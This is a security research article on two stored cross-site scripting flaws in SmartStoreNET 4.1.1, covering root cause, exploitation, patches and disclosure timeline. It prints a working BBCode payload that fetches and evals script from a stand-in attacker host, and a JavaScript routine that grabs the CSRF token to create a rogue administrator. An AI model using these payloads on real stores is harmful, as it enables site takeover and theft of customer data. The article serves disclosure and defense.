SmartStoreNET: Malicious Message Leading To E-Commerce Takeover
In this article, Sonar's research and development team presents the root cause analysis of two Cross-Site Scripting bugs.
Join the DZone community and get the full member experience.
Join For FreeSmartStoreNET is the leading open-source e-commerce platform for .NET, which makes it suitable for companies running Windows Server. Next to the operation of an online business, it offers advanced features, such as CRM tools, a blog, and a forum. As a result, a SmartStoreNET instance handles highly sensitive data such as credit card, financial, and personally identifiable information that have to be protected from attackers.
During recent security research, my team and I discovered two vulnerabilities that could allow attackers to gain control of the server where SmartStoreNET is installed by sending one malicious message to the instance's administrator. In this article, I present the root cause analysis of two Cross-Site Scripting bugs and then describe how they could be exploited by attackers. Finally, I will describe the patches applied by the maintainers and the limitations of those patches.
Impact
My findings, CVE-2021-32607 and CVE-2021-32608, impact the latest release of SmartStoreNET, 4.1.1. The maintainers released security patches as commits on GitHub. However, they decided not to release a new version with the patches; you have to build the project yourself to secure your instance. These are Cross-Site Scripting vulnerabilities that allow attackers to perform actions with the victim’s set of privileges without their knowledge. A successful attack against an administrator can lead to the compromise of the e-commerce store and the interception of financial transactions and personal data.
Their exploitation requires a victim to read either a malicious forum post or a private message specially crafted by the attacker.
Technical Details
In this section, I describe both the root cause of the Cross-Site Scripting vulnerabilities my team and I identified and how they can be leveraged to gain Arbitrary Code Execution by targeting an administrator.
The high-level idea behind these bugs is that developers correctly sanitize user-controlled data but later apply further processing steps, thus voiding the security guarantees of the first sanitization pass, with potentially dangerous results. Simon Scannell, a member of the SonarSource R&D team, presented this code pattern at Hacktivity 2021.
Stored Cross-Site Scripting (CVE-2021-32607, CVE-2021-32608)
SmartStore comes with a public forum where all registered members can exchange posts and private messages. In these texts, users can use basic BBcode markup to add limited styling to their messages. The BBcode is translated by SmartStore.Core.Html.BBCodeHelper
(src/Libraries/SmartStore.Core/Html/BBCodeHelper.cs
) using regular expressions. For instance, this helper is called in SmartStore.Services.Forums.ForumExtensions
(src/Libraries/SmartStore.Services/Forums/ForumExtensions.cs
), after processing a user message:
public static string FormatPrivateMessageText(this PrivateMessage message)
{
// [...]
var text = message.Text;
// [...]
text = HtmlUtils.ConvertPlainTextToHtml(text.HtmlEncode());
return BBCodeHelper.ToHtml(text);
}
The call to HtmlEncode()
is only a wrapper around System.Web.HttpUtility.HtmlEncode()
. The intent is to encode dangerous characters to their equivalent HTML entities to prevent parts of user messages from being interpreted as HTML tags. For example, <
will be encoded as <
;. HtmlUtils.ConvertPlainTextToHtml()
is not tasked with any security-sensitive operations; it only replaces spaces and new lines to keep formatting intact.
Notice that during the BBCode processing, the tags with arguments ([url=...][/url]
, at [1]
) will be processed before the ones without arguments ([url][/url]
, at [2]
):
private static readonly Regex regexUrl1 = new Regex(@"\[url\=([^\]]+)\]([^\]]+)\[/url\]", RegexOptions.Compiled | RegexOptions.IgnoreCase);
private static readonly Regex regexUrl2 = new Regex(@"\[url\](.+?)\[/url\]", RegexOptions.Compiled | RegexOptions.IgnoreCase);
// [...]
if (replaceUrl)
{
// format the url tags: [url=http://www.smartstore.com]my site[/url]
// becomes: <a href="http://www.smartstore.com">my site</a>
text = regexUrl1.Replace(text, "<a href=\"$1\" rel=\"nofollow\">$2</a>"); // [1]
// format the url tags: [url]http://www.smartstore.com[/url]
// becomes: <a href="http://www.smartstore.com">http://www.smartstore.com</a>
text = regexUrl2.Replace(text, "<a href=\"$1\" rel=\"nofollow\">$1</a>"); // [2]
}
While users can’t use quotes to escape the href
attribute because of prior encoding steps, using an URL tag with arguments within an URL tag without arguments will have an unexpected result. The following drawing shows the transformation of a message containing tangled [url]
BBCode tags:
When applying the second replacement, the non-encoded quotes created by the first step will close the href
attribute of the second regex pass. Once processed by the browser, the final DOM will look like this — notice the presence of new, user-controlled attributes in the first <a>
tag:
Crafting a Code Execution Chain
Cross-Site Scripting vulnerabilities are very powerful because they allow attackers to perform actions with the victim’s set of privileges. The persistent nature of these bugs makes it easier for the attacker to compel the victim's interaction: who wouldn’t read a private message on a platform they administer?
I chose to demonstrate the potential impact of my findings by crafting a payload that would force the creation of a new administrator as soon as the victim opens a private message and without further interaction. This malicious new user will then be able to use the plugins page to upload a malicious NuGet package (*.nupkg
) on the server to execute arbitrary code.
The vulnerable BBCode parsing is performed on both private messages and forum posts. The following sections will focus on a scenario where only private messages are mentioned, but the exploitation process is similar for both.
Creating the Cross-Site Scripting Payload
As previously demonstrated, I am limited to adding new attributes to an <a>
tag and can’t create new ones because of the various encoding stages. This limit on the usable character set will also require a stager: a deliberately small payload that will fetch and execute a larger one.
So, how can I make this payload fire as soon as the private message is rendered? I chose to use the fact that several CSS animations are implemented in the third-party library Font Awesome, which is already loaded by SmartStoreNET. By associating an animation to the <a>
element I injected and creating an onwebkitanimationend
attribute, it will be executed without user interaction.
The final payload is the following:
[url] [url=style=animation-name:fa-spin; onwebkitanimationend=$.get(`http://attacker.tld/x.js`,function(_){eval(_)}) x=] [/url] [/url]
Then, automatically creating an administrator is a pure front-end development task: the attacker only needs to fetch the CSRF token and then perform the POST request to the endpoint /admin/customer/create
:
async function run()
{
const customer_create_url = location.protocol + '//host.tld/admin/customer/create';
let res = await fetch(customer_create_url, {credentials: 'include'});
var parser = new DOMParser();
var htmlDoc = parser.parseFromString(await res.text(), 'text/html');
let csrf = htmlDoc.getElementsByName('__RequestVerificationToken');
data = {
save: 'save',
__RequestVerificationToken: csrf[0].attributes.value.nodeValue,
Id: 0,
Username: 'evil_admin',
Email: 'evil_admin@evil.tld',
Password: 'evil_admin',
Gender: 'M',
FirstName: 'evil',
LastName: 'evil',
DateOfBirth: '5/1/2021',
Company: 'evil',
AdminComment: 'evil',
SelectedCustomerRoleIds: 1,
IsTaxExempt: false,
Active: true,
LoadedTabs: '#customer-edit-1'
}
let body = new URLSearchParams();
Object.keys(data).map(k => body.append(k, data[k]));
body.append('SelectedCustomerRoleIds', 3);
let foo = await fetch(customer_create_url, {method: 'POST', body: body, credentials: 'include'});
}
run()
This payload can be hosted anywhere as long the right CORS headers are present in the response.
Executing Arbitrary Code
SmartStoreNET can be extended with both official and third-party plugins. There is no “official” store for them and no mandatory code signing: users can craft malicious packages and upload them directly from the administration dashboard.
Patch
SmartStoreNET mitigated the two vulnerabilities by introducing a new round of sanitization at the very end of the processing chain. It is performed by the third-party library mganss/HtmlSanitizer.
- CVE-2021-32607: the
Message
attribute of private messages is now sanitized (3db1fae3)
--- a/src/Presentation/SmartStore.Web/Views/PrivateMessages/View.cshtml
+++ b/src/Presentation/SmartStore.Web/Views/PrivateMessages/View.cshtml
@@ -1,5 +1,6 @@
@model PrivateMessageModel
@using SmartStore.Web.Models.PrivateMessages;
+@using SmartStore.Core.Html;
@{
Layout = "_Layout";
Html.AddTitleParts(T("PageTitle.ViewPM").Text);
@@ -28,7 +29,7 @@
<div class="col-sm-9">
<div class="card">
<div class="card-body" dir="auto">
- @Html.Raw(Model.Message)
+ @Html.Raw(HtmlUtils.SanitizeHtml(Model.Message, true))
</div>
</div>
</div>
- CVE-2021-32608: the
FormattedText
attribute of forum posts is now sanitized (e076c20f)
--- a/src/Presentation/SmartStore.Web/Views/Boards/Partials/_ForumPost.cshtml
+++ b/src/Presentation/SmartStore.Web/Views/Boards/Partials/_ForumPost.cshtml
@@ -1,4 +1,6 @@
@using SmartStore.Web.Models.Boards;
+@using SmartStore.Core.Html;
+
@model ForumPostModel
@Html.Raw("<a name=\"{0}\"></a>".FormatInvariant(Model.Id))
[...]
<div class="post-body">
<div class="posttext" dir="auto">
- @Html.Raw(Model.FormattedText)
+ @Html.Raw(HtmlUtils.SanitizeHtml(Model.FormattedText))
</div>
@Html.Hidden("Id", Model.Id)
</div>
It is interesting to note that the dangerous sanitize-then-transform pattern is still used. My team and I were not able to identify other features that would be vulnerable, but future changes could easily re-introduce similar bugs.
Timeline
DATE | ACTION |
2021-05-11 | I report both bugs to the vendor. |
2021-05-12 | The vendor confirms the bugs, and releases patches on GitHub. |
2021-08-21 | The vendor states that they do not plan to release a new version that would include fixes for my findings for now. |
Summary
In this article, I described two Cross-Site Scripting bugs in SmartStoreNET 4.1.1 and how they could be turned into the execution of arbitrary code if an administrative user is targeted. I also explained how to exploit such bugs without user interaction by using code already loaded in the application. Finally, I described the mitigations implemented by the maintainers and their limitations.
My team and I would like to thank the SmartStoreNET maintainers for their cooperation and very quick fixes. Since the vendor told us there is no planned release, I strongly advise administrators to build it from the source to benefit from the latest security fixes.
Published at DZone with permission of Thomas Chauchefoin. See the original article here.
Opinions expressed by DZone contributors are their own.
Comments